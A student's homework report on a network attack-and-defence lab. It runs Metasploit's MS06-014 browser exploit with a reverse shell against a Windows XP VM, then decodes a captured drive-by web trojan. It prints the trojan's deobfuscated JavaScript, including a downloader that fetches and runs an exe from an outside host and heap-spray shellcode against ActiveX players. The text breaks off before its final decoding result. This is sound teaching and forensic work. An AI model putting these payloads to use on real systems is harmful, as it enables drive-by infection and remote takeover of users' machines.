20212805 2021-2022-2 《网络攻防实践》第十一次作业

一、知识点梳理与总结

1、实践内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

    ①选择使用Metasploit中的MS06-014渗透攻击模块

    ②选择PAYLOAD为任意远程Shell连接

    ③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

    ④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

    ⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2、供实验所用虚拟机

虚拟机IP
Kali(攻击机) 192.168.1.106
Windows XP professional(靶机) 192.168.1.116

二、实践内容

(1)web浏览器渗透攻击

输入msfconsole

 

 

 输入命令search MS06-014,查询可供攻击的模块

 

 

 输入use exploit/windows/browser/ie_createobject、设置攻击机、靶机IP,输入show payloads查看载荷

 

 

 set payload windows/shell/reverse_tcp使用该载荷进行攻击,输入run开始

 

 

 将生成的URL地址http://192.168.1.106:8080/o1tlIG8U2HIK,粘贴到靶机IE浏览器

 

 

 在kali中输入sessions -i 1选择会话1,返回shell,输入ipconfig,查看IP,攻击成功

(2)取证分析实践—网页木马攻击场景分析

搜索start.html中包含new09.htm的位置

 

 

 

 

 

 明显看出,new09.html和start.html在同一路径

打开new09.html,使用http://www.metools.info/code/c26.html对看到的网址进行MD5计算

地址MD5码
http://aa.18dd.net/aa/kl.htm 7F60672DCD6B5E90B6772545EE219BD3
http://js.users.51.la/1299644.js 23180A42A2FF1192150231B44FFDF3D3

http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3

可得从以上网址下载文件,此处我使用了同学分享的文件。

打开1299644.js

 

 

 打开kl.htm

 

 

 发现经xxtea+base64加密的字符串

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

通过https://www.qqxiuzi.cn/bianma/ascii.htm对\x73\x63\x72\x69\x70\x74进行解密

 

 

 得出密钥为script

通过https://cycy.sourceforge.io/xxtea/,解密kl.html

 

 

 即

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

通过https://www.bejson.com/convert/ox2str/将16进制数转换为对应ASCII码

 

 

 得到

</script>
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

得到

地址MD5程序漏洞
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4 Adodb.Stream
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166 MPS.StormPlayer
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2 POWERPLAYER.PowerPlayerCtrl.1
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2 BaiduBar.Tool

按照http://192.168.68.253/scom/hashed/MD5值的格式下载文件,可以得到1.js、b.js、pps.js、bd.cab,分析可得

http://aa.18dd.net/aa/1.js 

eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

16进制转化后

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

 http://aa.18dd.net/aa/b.js文件

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))

通过http://matthewfl.com/unPacker.html进行解密

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;
x<300;
x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

http://aa.18dd.net/aa/pps.js文件

eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

通过八进制转换为字符串计算可得

